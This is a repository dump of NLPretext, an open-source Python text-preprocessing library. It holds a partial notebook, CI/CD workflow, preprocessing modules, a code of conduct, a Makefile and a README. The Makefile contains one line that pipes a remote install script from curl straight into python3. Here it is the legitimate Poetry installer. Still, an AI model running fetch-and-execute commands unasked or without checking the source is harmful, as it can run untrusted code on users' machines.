\n",
10 | "\n",
11 | "
\n",
20 | "\n",
21 | "## Installing from the main branch\n",
22 | "\n",
23 | "To install the library from the main branch, you can run the following cell :"
24 | ]
25 | },
26 | {
27 | "cell_type": "code",
28 | "execution_count": null,
29 | "metadata": {
30 | "pycharm": {
31 | "name": "#%%\n"
32 | }
33 | },
34 | "outputs": [],
35 | "source": [
36 | "%pip install git+ssh://git@github.com/artefactory/NLPretext.git@main"
37 | ]
38 | },
39 | {
40 | "cell_type": "markdown",
41 | "metadata": {},
42 | "source": [
43 | "## Installing from a specific release\n",
44 | "\n",
45 | "To install the library from a specific release, you can run the following cell :"
46 | ]
47 | },
48 | {
49 | "cell_type": "code",
50 | "execution_count": null,
51 | "metadata": {
52 | "pycharm": {
53 | "name": "#%%\n"
54 | }
55 | },
56 | "outputs": [],
57 | "source": [
58 | "%pip install git+ssh://git@github.com/artefactory/NLPretext.git@v1.0.5"
59 | ]
60 | },
61 | {
62 | "cell_type": "markdown",
63 | "metadata": {},
64 | "source": [
65 | "## Using the package\n",
66 | "\n",
67 | "You can now import and run whatever is in the package :"
68 | ]
69 | },
70 | {
71 | "cell_type": "code",
72 | "execution_count": null,
73 | "metadata": {
74 | "pycharm": {
75 | "name": "#%%\n"
76 | }
77 | },
78 | "outputs": [],
79 | "source": [
80 | "from nlpretext.basic.preprocess import replace_emails\n",
81 | "\n",
82 | "example = \"I have forwarded this email to obama@whitehouse.gov\"\n",
83 | "example = replace_emails(example, replace_with=\"*EMAIL*\")"
84 | ]
85 | },
86 | {
87 | "cell_type": "code",
88 | "execution_count": null,
89 | "metadata": {
90 | "pycharm": {
91 | "name": "#%%\n"
92 | }
93 | },
94 | "outputs": [],
95 | "source": [
96 | "print(example)"
97 | ]
98 | }
99 | ],
100 | "metadata": {
101 | "kernelspec": {
102 | "display_name": "Python 3",
103 | "language": "python",
104 | "name": "python3"
105 | },
106 | "language_info": {
107 | "codemirror_mode": {
108 | "name": "ipython",
109 | "version": 3
110 | },
111 | "file_extension": ".py",
112 | "mimetype": "text/x-python",
113 | "name": "python",
114 | "nbconvert_exporter": "python",
115 | "pygments_lexer": "ipython3",
116 | "version": "3.7.9"
117 | }
118 | },
119 | "nbformat": 4,
120 | "nbformat_minor": 1
121 | }
122 |
--------------------------------------------------------------------------------
/.github/workflows/cd.yml:
--------------------------------------------------------------------------------
1 | name: Continuous Deployment
2 | on:
3 | release:
4 | types: [published]
5 |
6 | jobs:
7 |
8 | docker:
9 |
10 | runs-on: ubuntu-latest
11 |
12 | steps:
13 | - name: Checkout
14 | uses: actions/checkout@v4
15 |
16 | - name: Set up Docker Buildx
17 | uses: docker/setup-buildx-action@v3
18 |
19 | - name: Login to Github Container Registry
20 | uses: docker/login-action@v3
21 | with:
22 | username: ${{ github.actor }}
23 | password: ${{ secrets.GITHUB_TOKEN }}
24 | registry: ghcr.io
25 |
26 | - name: Set tag name
27 | id: tag
28 | run: echo "tag_name=${GITHUB_REF//\//-}" >> $GITHUB_OUTPUT
29 | env:
30 | GITHUB_REF: ${{ github.ref }}
31 |
32 | - name: Build and push
33 | uses: docker/build-push-action@v4
34 | with:
35 | context: .
36 | file: ./docker/Dockerfile
37 | push: true
38 | tags: |
39 | ghcr.io/artefactory/nlpretext:${{ steps.tag.outputs.tag_name }}
40 | ghcr.io/artefactory/nlpretext:latest
41 | cache-from: type=registry,ref=ghcr.io/artefactory/nlpretext:latest
42 | cache-to: type=inline
43 |
44 | - name: Scan image
45 | uses: anchore/scan-action@v3
46 | id: scan
47 | with:
48 | image: "ghcr.io/artefactory/nlpretext:${{ steps.tag.outputs.tag_name }}"
49 | output-format: table
50 |
51 | - name: upload Anchore scan SARIF report
52 | if: success() || failure()
53 | uses: github/codeql-action/upload-sarif@v1
54 | with:
55 | sarif_file: ${{ steps.scan.outputs.sarif }}
56 |
57 | documentation_and_package:
58 |
59 | runs-on: ubuntu-latest
60 |
61 | strategy:
62 | matrix:
63 | python-version: ["3.8"]
64 |
65 | steps:
66 |
67 | - name: Checkout
68 | uses: actions/checkout@v4
69 |
70 | - name: Set up Python ${{ matrix.python-version }}
71 | uses: actions/setup-python@v4
72 | with:
73 | python-version: ${{ matrix.python-version }}
74 |
75 | - name: Install poetry and pandoc
76 | run: |
77 | sudo apt-get install pandoc
78 | make download-poetry
79 |
80 | - name: Set up cache
81 | uses: actions/cache@v3.3.2
82 | with:
83 | path: ~/.cache/pypoetry/virtualenvs
84 | key: venv-${{ matrix.python-version }}-${{ hashFiles('pyproject.toml') }}-${{ hashFiles('poetry.lock') }}
85 |
86 | - name: Set Poetry Path
87 | run: |
88 | echo "$HOME/.poetry/bin" >> $GITHUB_PATH
89 |
90 | - name: Install dependencies
91 | run: |
92 | poetry install -E torch -E dask
93 |
94 | - name: Publish to PyPI
95 | env:
96 | PYPI_TOKEN: ${{ secrets.PYPI_TOKEN }}
97 | run: |
98 | poetry config pypi-token.pypi $PYPI_TOKEN
99 | poetry publish --build
100 |
101 | - name: Run build script for Sphinx pages
102 | run: |
103 | poetry run git config --global user.name "Github-Pages Bot"
104 | poetry run git config --global user.email "github-pages@artefactory.com"
105 | poetry run sh docs/scripts/buildsite.sh
106 | shell: bash
107 |
--------------------------------------------------------------------------------
/nlpretext/token/preprocess.py:
--------------------------------------------------------------------------------
1 | # Copyright (C) 2020 Artefact
2 | # licence-information@artefact.com
3 | #
4 | # Licensed under the Apache License, Version 2.0 (the "License");
5 | # you may not use this file except in compliance with the License.
6 | # You may obtain a copy of the License at
7 | #
8 | # http://www.apache.org/licenses/LICENSE-2.0
9 | #
10 | # Unless required by applicable law or agreed to in writing, software
11 | # distributed under the License is distributed on an "AS IS" BASIS,
12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | # See the License for the specific language governing permissions and
14 | # limitations under the License
15 |
16 |
17 | from typing import List, Optional
18 |
19 | import re
20 |
21 | from nlpretext._utils.stopwords import get_stopwords
22 |
23 |
24 | def remove_stopwords(
25 | tokens: List[str], lang: str, custom_stopwords: Optional[List[str]] = None
26 | ) -> List[str]:
27 | """
28 | Remove stopwords from a text.
29 | eg. 'I like when you move your body !' -> 'I move body !'.
30 |
31 | Parameters
32 | ----------
33 | tokens: list(str)
34 | list of tokens
35 | lang: str
36 | language iso code (e.g : "en")
37 | custom_stopwords : list(str)|None
38 | list of custom stopwords to add. None by default
39 |
40 | Returns
41 | -------
42 | list
43 | tokens without stopwords
44 |
45 | Raises
46 | ------
47 | ValueError
48 | When inputs is not a list
49 | """
50 | stopwords = get_stopwords(lang)
51 | if custom_stopwords:
52 | stopwords += custom_stopwords
53 | tokens = [word for word in tokens if word not in stopwords]
54 | return tokens
55 |
56 |
57 | def remove_tokens_with_nonletters(tokens: List[str]) -> List[str]:
58 | """
59 | Inputs a list of tokens, outputs a list of tokens without tokens that
60 | includes numbers of special caracters.
61 | ['foo','bar','124','34euros'] -> ['foo','bar'].
62 |
63 | Parameters
64 | ----------
65 | tokens : list
66 | list of tokens to be cleaned
67 |
68 | Returns
69 | -------
70 | list
71 | list of tokens without tokens with numbers
72 | """
73 | tokens = [word for word in tokens if re.search("[^a-zA-Z]", word) is None]
74 | return tokens
75 |
76 |
77 | def remove_special_caracters_from_tokenslist(tokens: List[str]) -> List[str]:
78 | """
79 | Remove tokens that doesn't contains any number or letter.
80 | eg. ['foo','bar','---',"'s",'#'] -> ['foo','bar',"'s"].
81 |
82 | Parameters
83 | ----------
84 | tokens : list
85 | list of tokens to be cleaned
86 |
87 | Returns
88 | -------
89 | list
90 | list of tokens without tokens that contains only special caracters
91 |
92 | """
93 | tokens = [word for word in tokens if re.search("[a-zA-Z0-9]", word)]
94 | return tokens
95 |
96 |
97 | def remove_smallwords(tokens: List[str], smallwords_threshold: int) -> List[str]:
98 | """
99 | Function that removes words which length is below a threshold
100 | ["hello", "my", "name", "is", "John", "Doe"] --> ["hello","name","John","Doe"].
101 |
102 | Parameters
103 | ----------
104 | text : list
105 | list of strings
106 | smallwords_threshold: int
107 | threshold of small word
108 |
109 | Returns
110 | -------
111 | list
112 | """
113 | tokens = [word for word in tokens if len(word) > smallwords_threshold]
114 | return tokens
115 |
--------------------------------------------------------------------------------
/CODE_OF_CONDUCT.md:
--------------------------------------------------------------------------------
1 | # Contributor Covenant Code of Conduct
2 |
3 | ## Our Pledge
4 |
5 | In the interest of fostering an open and welcoming environment, we as
6 | contributors and maintainers pledge to making participation in our project and
7 | our community a harassment-free experience for everyone, regardless of age, body
8 | size, disability, ethnicity, sex characteristics, gender identity and expression,
9 | level of experience, education, socio-economic status, nationality, personal
10 | appearance, race, religion, or sexual identity and orientation.
11 |
12 | ## Our Standards
13 |
14 | Examples of behavior that contributes to creating a positive environment
15 | include:
16 |
17 | * Using welcoming and inclusive language
18 | * Being respectful of differing viewpoints and experiences
19 | * Gracefully accepting constructive criticism
20 | * Focusing on what is best for the community
21 | * Showing empathy towards other community members
22 |
23 | Examples of unacceptable behavior by participants include:
24 |
25 | * The use of sexualized language or imagery and unwelcome sexual attention or
26 | advances
27 | * Trolling, insulting/derogatory comments, and personal or political attacks
28 | * Public or private harassment
29 | * Publishing others' private information, such as a physical or electronic
30 | address, without explicit permission
31 | * Other conduct which could reasonably be considered inappropriate in a
32 | professional setting
33 |
34 | ## Our Responsibilities
35 |
36 | Project maintainers are responsible for clarifying the standards of acceptable
37 | behavior and are expected to take appropriate and fair corrective action in
38 | response to any instances of unacceptable behavior.
39 |
40 | Project maintainers have the right and responsibility to remove, edit, or
41 | reject comments, commits, code, wiki edits, issues, and other contributions
42 | that are not aligned to this Code of Conduct, or to ban temporarily or
43 | permanently any contributor for other behaviors that they deem inappropriate,
44 | threatening, offensive, or harmful.
45 |
46 | ## Scope
47 |
48 | This Code of Conduct applies both within project spaces and in public spaces
49 | when an individual is representing the project or its community. Examples of
50 | representing a project or community include using an official project e-mail
51 | address, posting via an official social media account, or acting as an appointed
52 | representative at an online or offline event. Representation of a project may be
53 | further defined and clarified by project maintainers.
54 |
55 | ## Enforcement
56 |
57 | Instances of abusive, harassing, or otherwise unacceptable behavior may be
58 | reported by contacting the project team at rafaelle.aygalenq@artefact.com. All
59 | complaints will be reviewed and investigated and will result in a response that
60 | is deemed necessary and appropriate to the circumstances. The project team is
61 | obligated to maintain confidentiality with regard to the reporter of an incident.
62 | Further details of specific enforcement policies may be posted separately.
63 |
64 | Project maintainers who do not follow or enforce the Code of Conduct in good
65 | faith may face temporary or permanent repercussions as determined by other
66 | members of the project's leadership.
67 |
68 | ## Attribution
69 |
70 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
71 | available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
72 |
73 | [homepage]: https://www.contributor-covenant.org
74 |
75 | For answers to common questions about this code of conduct, see
76 | https://www.contributor-covenant.org/faq
77 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | SHELL := /usr/bin/env bash
2 |
3 | IMAGE := nlpretext
4 | VERSION := latest
5 |
6 | NO_CHECK_FLAG = || true
7 |
8 | ifeq ($(STRICT), 1)
9 | POETRY_COMMAND_FLAG =
10 | PIP_COMMAND_FLAG =
11 | SAFETY_COMMAND_FLAG =
12 | BANDIT_COMMAND_FLAG =
13 | SECRETS_COMMAND_FLAG =
14 | BLACK_COMMAND_FLAG =
15 | DARGLINT_COMMAND_FLAG =
16 | ISORT_COMMAND_FLAG =
17 | MYPY_COMMAND_FLAG =
18 | else
19 | POETRY_COMMAND_FLAG = $(NO_CHECK_FLAG)
20 | PIP_COMMAND_FLAG = $(NO_CHECK_FLAG)
21 | SAFETY_COMMAND_FLAG = $(NO_CHECK_FLAG)
22 | BANDIT_COMMAND_FLAG = $(NO_CHECK_FLAG)
23 | SECRETS_COMMAND_FLAG = $(NO_CHECK_FLAG)
24 | BLACK_COMMAND_FLAG = $(NO_CHECK_FLAG)
25 | DARGLINT_COMMAND_FLAG = $(NO_CHECK_FLAG)
26 | ISORT_COMMAND_FLAG = $(NO_CHECK_FLAG)
27 | MYPY_COMMAND_FLAG = $(NO_CHECK_FLAG)
28 | endif
29 |
30 | ifeq ($(POETRY_STRICT), 1)
31 | POETRY_COMMAND_FLAG =
32 | else ifeq ($(POETRY_STRICT), 0)
33 | POETRY_COMMAND_FLAG = $(NO_CHECK_FLAG)
34 | endif
35 |
36 | ifeq ($(PIP_STRICT), 1)
37 | PIP_COMMAND_FLAG =
38 | else ifeq ($(PIP_STRICT), 0)
39 | PIP_COMMAND_FLAG = $(NO_CHECK_FLAG)
40 | endif
41 |
42 | ifeq ($(SAFETY_STRICT), 1)
43 | SAFETY_COMMAND_FLAG =
44 | else ifeq ($(SAFETY_STRICT), 0)
45 | SAFETY_COMMAND_FLAG = $(NO_CHECK_FLAG)
46 | endif
47 |
48 | ifeq ($(BANDIT_STRICT), 1)
49 | BANDIT_COMMAND_FLAG =
50 | else ifeq ($(BANDIT_STRICT), 0)
51 | BANDIT_COMMAND_FLAG = $(NO_CHECK_FLAG)
52 | endif
53 |
54 | ifeq ($(SECRETS_STRICT), 1)
55 | SECRETS_COMMAND_FLAG =
56 | else ifeq ($(SECRETS_STRICT), 0)
57 | SECRETS_COMMAND_FLAG = $(NO_CHECK_FLAG)
58 | endif
59 |
60 | ifeq ($(BLACK_STRICT), 1)
61 | BLACK_COMMAND_FLAG =
62 | else ifeq ($(BLACK_STRICT), 0)
63 | BLACK_COMMAND_FLAG = $(NO_CHECK_FLAG)
64 | endif
65 |
66 | ifeq ($(DARGLINT_STRICT), 1)
67 | DARGLINT_COMMAND_FLAG =
68 | else ifeq ($(DARGLINT_STRICT), 0)
69 | DARGLINT_COMMAND_FLAG = $(NO_CHECK_FLAG)
70 | endif
71 |
72 | ifeq ($(ISORT_STRICT), 1)
73 | ISORT_COMMAND_FLAG =
74 | else ifeq ($(ISORT_STRICT), 0)
75 | ISORT_COMMAND_FLAG = $(NO_CHECK_FLAG)
76 | endif
77 |
78 | ifeq ($(MYPY_STRICT), 1)
79 | MYPY_COMMAND_FLAG =
80 | else ifeq ($(MYPY_STRICT), 0)
81 | MYPY_COMMAND_FLAG = $(NO_CHECK_FLAG)
82 | endif
83 |
84 | .PHONY: download-poetry
85 | download-poetry:
86 | curl -sSL https://install.python-poetry.org | python3 -
87 |
88 | .PHONY: install
89 | install:
90 | poetry env use python3.10
91 | poetry lock -n
92 | poetry install -n
93 | ifneq ($(NO_PRE_COMMIT), 1)
94 | poetry run pre-commit install -t pre-commit -t pre-push
95 | endif
96 |
97 | .PHONY: check-safety
98 | check-safety:
99 | poetry check$(POETRY_COMMAND_FLAG) && \
100 | poetry run pip check$(PIP_COMMAND_FLAG) && \
101 | poetry run safety check --full-report$(SAFETY_COMMAND_FLAG) && \
102 | poetry run bandit -r nlpretext/$(BANDIT_COMMAND_FLAG)
103 |
104 | .PHONY: gitleaks
105 | gitleaks:
106 | commits="$$(git rev-list --ancestry-path $$(git rev-parse $$(git branch -r --sort=committerdate | tail -1))..$$(git rev-parse HEAD))"; \
107 | if [ "$${commits}" != "" ]; then docker run --rm -v $$(pwd):/code/ zricethezav/gitleaks --path=/code/ -v --commits=$$(echo $${commits} | paste -s -d, -)$(SECRETS_COMMAND_FLAG); fi;
108 |
109 | .PHONY: format-code
110 | format-code:
111 | poetry run pre-commit run --all
112 |
113 | .PHONY: test
114 | test:
115 | poetry run pytest
116 |
117 | .PHONY: lint
118 | lint: check-safety format-code test
119 |
120 | # Example: make docker VERSION=latest
121 | # Example: make docker IMAGE=some_name VERSION=1.0.4
122 | .PHONY: docker
123 | docker:
124 | @echo Building docker $(IMAGE):$(VERSION) ...
125 | docker build \
126 | -t $(IMAGE):$(VERSION) . \
127 | -f ./docker/Dockerfile
128 |
129 | # Example: make clean_docker VERSION=latest
130 | # Example: make clean_docker IMAGE=some_name VERSION=1.0.4
131 | .PHONY: clean_docker
132 | clean_docker:
133 | @echo Removing docker $(IMAGE):$(VERSION) ...
134 | docker rmi -f $(IMAGE):$(VERSION)
135 |
136 | .PHONY: clean_build
137 | clean_build:
138 | rm -rf build/
139 |
140 | .PHONY: clean
141 | clean: clean_build clean_docker
142 |
--------------------------------------------------------------------------------
/pyproject.toml:
--------------------------------------------------------------------------------
1 | # Poetry pyproject.toml: https://python-poetry.org/docs/pyproject/
2 |
3 | [build-system]
4 | requires = ["poetry_core>=1.0.0"]
5 | build-backend = "poetry.core.masonry.api"
6 |
7 | [tool.poetry]
8 | name = "nlpretext"
9 | version = "1.2.2"
10 | description = "All the goto functions you need to handle NLP use-cases, integrated in NLPretext"
11 | readme = "README.md"
12 | authors = [
13 | "artefactory \n",
12 | "\n",
13 | "\n",
14 | "\n",
15 | "
\n",
16 | "\n",
17 | "### *nlpretext*\n",
18 | "\n",
19 | "
4 | 
5 |
8 |
9 | [](https://github.com/artefactory/NLPretext/actions/workflows/ci.yml?query=branch%3Amain)
10 | [](https://github.com/artefactory/NLPretext/actions/workflows/cd.yml?query=event%3Arelease)
11 | [](#supported-python-versions)
12 | [](https://github.com/artefactory/NLPretext}/pulls?utf8=%E2%9C%93&q=is%3Apr%20author%3Aapp%2Fdependabot)
13 |
14 | [](https://github.com/psf/black)
15 | [](https://github.com/PyCQA/bandit)
16 | [](https://github.com/artefactory/NLPretext}/blob/main/.pre-commit-config.yaml)
17 | [](https://github.com/artefactory/NLPretext/releases)
18 | [](https://github.com/artefactory/NLPretext}/tree/main/docs)
19 | [](https://github.com/artefactory/NLPretext}/blob/main/LICENSE)
20 |
21 | All the goto functions you need to handle NLP use-cases, integrated in NLPretext
22 |
23 |
24 |
25 | # TL;DR
26 |
27 |
28 | > *Working on an NLP project and tired of always looking for the same silly preprocessing functions on the web?* :tired_face:
29 |
30 | > *Need to efficiently extract email adresses from a document? Hashtags from tweets? Remove accents from a French post?* :disappointed_relieved:
31 |
32 |
33 | **NLPretext got you covered!** :rocket:
34 |
35 | NLPretext packages in a **unique** library all the text **preprocessing** functions you need to **ease** your NLP project.
36 |
37 |
38 | :mag: Quickly explore below our preprocessing pipelines and individual functions referential.
39 |
40 | * [Default preprocessing pipeline](#default_pipeline)
41 | * [Custom preprocessing pipeline](#custom_pipeline)
42 | * [Replacing phone numbers](#replace_phone_numbers)
43 | * [Removing hashtags](#remove_hashtags)
44 | * [Extracting emojis](#extract_emojis)
45 | * [Data augmentation](#data_augmentation)
46 |
47 |
48 | Cannot find what you were looking for? Feel free to open an [issue]((https://github.com/artefactory/nlpretext/issues) ).
49 |
50 |
51 |
52 | # Installation
53 |
54 | ### Supported Python Versions
55 |
56 | - Main version supported : `3.8`
57 | - Other supported versions : `3.9`, `3.10`
58 |
59 |
60 | We strongly advise you to do the remaining steps in a virtual environnement.
61 |
62 | To install this library from PyPi, run the following command:
63 |
64 | ```bash
65 | pip install nlpretext
66 | ```
67 |
68 | or with `Poetry`
69 |
70 | ```bash
71 | poetry add nlpretext
72 | ```
73 |
74 |
75 | # Usage
76 |
77 | ## Default pipeline
78 |
79 | Need to preprocess your text data but no clue about what function to use and in which order? The default preprocessing pipeline got you covered:
80 |
81 | ```python
82 | from nlpretext import Preprocessor
83 | text = "I just got the best dinner in my life @latourdargent !!! I recommend 😀 #food #paris \n"
84 | preprocessor = Preprocessor()
85 | text = preprocessor.run(text)
86 | print(text)
87 | # "I just got the best dinner in my life!!! I recommend"
88 | ```
89 |
90 | ## Create your custom pipeline
91 |
92 | Another possibility is to create your custom pipeline if you know exactly what function to apply on your data, here's an example:
93 |
94 | ```python
95 | from nlpretext import Preprocessor
96 | from nlpretext.basic.preprocess import (normalize_whitespace, remove_punct, remove_eol_characters,
97 | remove_stopwords, lower_text)
98 | from nlpretext.social.preprocess import remove_mentions, remove_hashtag, remove_emoji
99 | text = "I just got the best dinner in my life @latourdargent !!! I recommend 😀 #food #paris \n"
100 | preprocessor = Preprocessor()
101 | preprocessor.pipe(lower_text)
102 | preprocessor.pipe(remove_mentions)
103 | preprocessor.pipe(remove_hashtag)
104 | preprocessor.pipe(remove_emoji)
105 | preprocessor.pipe(remove_eol_characters)
106 | preprocessor.pipe(remove_stopwords, args={'lang': 'en'})
107 | preprocessor.pipe(remove_punct)
108 | preprocessor.pipe(normalize_whitespace)
109 | text = preprocessor.run(text)
110 | print(text)
111 | # "dinner life recommend"
112 | ```
113 |
114 | Take a look at all the functions that are available [here](https://github.com/artefactory/NLPretext/tree/master/nlpretext) in the ```preprocess.py``` scripts in the different folders: basic, social, token.
115 |
116 |
117 | ## Load text data
118 |
119 | Pre-processing text data is useful only if you have loaded data to process! Importing text data as strings in your code can be really simple if you have short texts contained in a local .txt, but it can quickly become difficult if you want to load a lot of texts, stored in multiple formats and divided in multiple files. Hopefully, you can use NLPretext's TextLoader class to easily import text data.
120 | while it is not mandatory our textLoader work best with dask, make sure to have the librairy installed if you want the best performances.
121 |
122 | ```python
123 | from nlpretext.textloader import TextLoader
124 | files_path = "local_folder/texts/text.txt"
125 | text_loader = TextLoader(use_dask=True)
126 | text_dataframe = text_loader.read_text(files_path)
127 | print(text_dataframe.text.values.tolist())
128 | # ["I just got the best dinner in my life!!!", "I recommend", "It was awesome"]
129 | ```
130 |
131 | File path can be provided as string, list of strings, with or without wildcards. It also supports imports from cloud providers, if your machine is authentified on a project.
132 |
133 | ```python
134 | text_loader = TextLoader(text_column="name_of_text_column_in_your_data")
135 |
136 | local_file_path = "local_folder/texts/text.csv" # File from local folder
137 | local_corpus_path = ["local_folder/texts/text_1.csv", "local_folder/texts/text_2.csv", "local_folder/texts/text_3.csv"] # Multiple files from local folder
138 |
139 | gcs_file_path = "gs://my-bucket/texts/text.json" # File from GCS
140 | s3_file_path = "s3://my-bucket/texts/text.json" # File from S3
141 | hdfs_file_path = "hdfs://folder/texts/text.txt" # File from HDFS
142 | azure_file_path = "az://my-bucket/texts/text.parquet" # File from Azure
143 |
144 | gcs_corpus_path = "gs://my-bucket/texts/text_*.json" # Multiple files from GCS with wildcard
145 |
146 | text_dataframe_1 = text_loader.read_text(local_file_path)
147 | text_dataframe_2 = text_loader.read_text(local_corpus_path)
148 | text_dataframe_3 = text_loader.read_text(gcs_file_path)
149 | text_dataframe_4 = text_loader.read_text(s3_file_path)
150 | text_dataframe_5 = text_loader.read_text(hdfs_file_path)
151 | text_dataframe_6 = text_loader.read_text(azure_file_path)
152 | text_dataframe_7 = text_loader.read_text(gcs_corpus_path)
153 |
154 | ```
155 |
156 | You can also specify a Preprocessor if you want your data to be directly pre-processed when loaded.
157 | ```python
158 | text_loader = TextLoader(text_column="text_col")
159 | preprocessor = Preprocessor()
160 |
161 | file_path = "local_folder/texts/text.csv" # File from local folder
162 |
163 | raw_text_dataframe = text_loader.read_text(local_file_path)
164 | preprocessed_text_dataframe = text_loader.read_text(local_file_path, preprocessor=preprocessor)
165 |
166 | print(raw_text_dataframe.text_col.values.tolist())
167 | # ["These texts are not preprocessed", "This is bad ## "]
168 |
169 | print(preprocessed_text_dataframe.text_col.values.tolist())
170 | # ["These texts are not preprocessed", "This is bad"]
171 | ```
172 |
173 |
174 | ## Individual Functions
175 |
176 | ### Replacing emails
177 |
178 | ```python
179 | from nlpretext.basic.preprocess import replace_emails
180 | example = "I have forwarded this email to obama@whitehouse.gov"
181 | example = replace_emails(example, replace_with="*EMAIL*")
182 | print(example)
183 | # "I have forwarded this email to *EMAIL*"
184 | ```
185 |
186 | ### Replacing phone numbers
187 |
188 | ```python
189 | from nlpretext.basic.preprocess import replace_phone_numbers
190 | example = "My phone number is 0606060606"
191 | example = replace_phone_numbers(example, country_to_detect=["FR"], replace_with="*PHONE*")
192 | print(example)
193 | # "My phone number is *PHONE*"
194 | ```
195 |
196 | ### Removing Hashtags
197 |
198 | ```python
199 | from nlpretext.social.preprocess import remove_hashtag
200 | example = "This restaurant was amazing #food #foodie #foodstagram #dinner"
201 | example = remove_hashtag(example)
202 | print(example)
203 | # "This restaurant was amazing"
204 | ```
205 |
206 | ### Extracting emojis
207 |
208 | ```python
209 | from nlpretext.social.preprocess import extract_emojis
210 | example = "I take care of my skin 😀"
211 | example = extract_emojis(example)
212 | print(example)
213 | # [':grinning_face:']
214 | ```
215 |
216 | ## Data augmentation
217 |
218 | The augmentation module helps you to **generate new texts** based on your given examples by modifying some words in the initial ones and to **keep associated entities unchanged**, if any, in the case of **NER tasks**. If you want words other than entities to remain unchanged, you can specify it within the `stopwords` argument. Modifications depend on the chosen method, the ones currently supported by the module are **substitutions with synonyms** using Wordnet or BERT from the [`nlpaug`](https://github.com/makcedward/nlpaug) library.
219 |
220 | ```python
221 | from nlpretext.augmentation.text_augmentation import augment_text
222 | example = "I want to buy a small black handbag please."
223 | entities = [{'entity': 'Color', 'word': 'black', 'startCharIndex': 22, 'endCharIndex': 27}]
224 | example = augment_text(example, method=”wordnet_synonym”, entities=entities)
225 | print(example)
226 | # "I need to buy a small black pocketbook please."
227 | ```
228 |
229 |
230 |
231 |
232 | # 📈 Releases
233 |
234 | You can see the list of available releases on the [GitHub Releases](https://github.com/artefactory/NLPretext}/releases) page.
235 |
236 | We follow [Semantic Versions](https://semver.org/) specification.
237 |
238 | We use [`Release Drafter`](https://github.com/marketplace/actions/release-drafter). As pull requests are merged, a draft release is kept up-to-date listing the changes, ready to publish when you’re ready. With the categories option, you can categorize pull requests in release notes using labels.
239 |
240 | For Pull Requests, these labels are configured, by default:
241 |
242 | | **Label** | **Title in Releases** |
243 | | :-----------------------------------: | :---------------------: |
244 | | `enhancement`, `feature` | 🚀 Features |
245 | | `bug`, `refactoring`, `bugfix`, `fix` | 🔧 Fixes & Refactoring |
246 | | `build`, `ci`, `testing` | 📦 Build System & CI/CD |
247 | | `breaking` | 💥 Breaking Changes |
248 | | `documentation` | 📝 Documentation |
249 | | `dependencies` | ⬆️ Dependencies updates |
250 |
251 |
252 | GitHub creates the `bug`, `enhancement`, and `documentation` labels automatically. Dependabot creates the `dependencies` label. Create the remaining labels on the Issues tab of the GitHub repository, when needed.## 🛡 License
253 |
254 | [](https://github.com/artefactory/NLPretext}/blob/main/LICENSE)
255 |
256 | This project is licensed under the terms of the `Apache Software License 2.0` license. See [LICENSE](https://github.com/artefactory/NLPretext}/blob/main/LICENSE) for more details.## 📃 Citation
257 |
258 | ```
259 | @misc{nlpretext,
260 | author = {artefactory},
261 | title = {All the goto functions you need to handle NLP use-cases, integrated in NLPretext},
262 | year = {2021},
263 | publisher = {GitHub},
264 | journal = {GitHub repository},
265 | howpublished = {\url{https://github.com/artefactory/NLPretext}}}
266 | }
267 | ```
268 |
269 |
270 | # Project Organization
271 | ------------
272 |
273 | .
274 | ├── .github/workflows <- Where the CI and CD lives
275 | ├── datasets/external <- Bash scripts to download external datasets
276 | ├── docker <- All you need to build a Docker image from that package
277 | ├── docs <- Sphinx HTML documentation
278 | ├── nlpretext <- Main Package. This is where the code lives
279 | │ ├── preprocessor.py <- Main preprocessing script
280 | │ ├── text_loader.py <- Main loading script
281 | │ ├── augmentation <- Text augmentation script
282 | │ ├── basic <- Basic text preprocessing
283 | │ ├── cli <- Command lines that can be used
284 | │ ├── social <- Social text preprocessing
285 | │ ├── token <- Token text preprocessing
286 | │ ├── textloader <- File loading
287 | │ ├── _config <- Where the configuration and constants live
288 | │ └── _utils <- Where preprocessing utils scripts lives
289 | ├── references <- assets
290 | ├── tests <- Where the tests lives
291 | ├── .gitignore
292 | ├── .pre-commit-config.yaml <- Pre-commit configuration
293 | ├── CODE_OF_CONDUCT.md <- Code of conduct guidelines
294 | ├── CONTRIBUTING.md <- Contribution guidelines
295 | ├── LICENSE
296 | ├── Makefile
297 | ├── pyproject.toml <- Package build configuration
298 | ├── README.md <- The top-level README for developers using this project.
299 | └── SECURITY.md
300 |
301 | # Credits
302 |
303 | - [textacy](https://github.com/chartbeat-labs/textacy) for the following basic preprocessing functions:
304 | - `fix_bad_unicode`
305 | - `normalize_whitespace`
306 | - `unpack_english_contractions`
307 | - `replace_urls`
308 | - `replace_emails`
309 | - `replace_numbers`
310 | - `replace_currency_symbols`
311 | - `remove_punct`
312 | - `remove_accents`
313 | - `replace_phone_numbers` *(with some modifications of our own)*
314 |
--------------------------------------------------------------------------------
/nlpretext/basic/preprocess.py:
--------------------------------------------------------------------------------
1 | # Copyright (C) 2020 Artefact
2 | # licence-information@artefact.com
3 | #
4 | # Licensed under the Apache License, Version 2.0 (the "License");
5 | # you may not use this file except in compliance with the License.
6 | # You may obtain a copy of the License at
7 | #
8 | # http://www.apache.org/licenses/LICENSE-2.0
9 | #
10 | # Unless required by applicable law or agreed to in writing, software
11 | # distributed under the License is distributed on an "AS IS" BASIS,
12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | # See the License for the specific language governing permissions and
14 | # limitations under the License
15 |
16 |
17 | from typing import List, Optional
18 |
19 | import re
20 | import unicodedata
21 |
22 | from flashtext import KeywordProcessor
23 | from ftfy import fix_text as _fix_text
24 | from nlpretext._config import constants
25 | from nlpretext._utils.phone_number import extract_phone_numbers as _extract_phone_numbers
26 | from nlpretext._utils.stopwords import get_stopwords
27 | from nlpretext.token.tokenizer import tokenize
28 |
29 |
30 | def normalize_whitespace(text: str) -> str:
31 | """
32 | ----
33 | Copyright 2016 Chartbeat, Inc.
34 | Code from textacy: https://github.com/chartbeat-labs/textacy
35 | ----
36 |
37 | Given ``text`` str, replace one or more spacings with a single space, and
38 | one or more linebreaks with a single newline. Also strip leading/trailing
39 | whitespace.
40 | eg. " foo bar " -> "foo bar"
41 |
42 | Parameters
43 | ----------
44 | text : string
45 |
46 | Returns
47 | -------
48 | string
49 | """
50 | text = constants.NONBREAKING_SPACE_REGEX.sub(
51 | " ", constants.LINEBREAK_REGEX.sub(r"\n", text)
52 | ).strip()
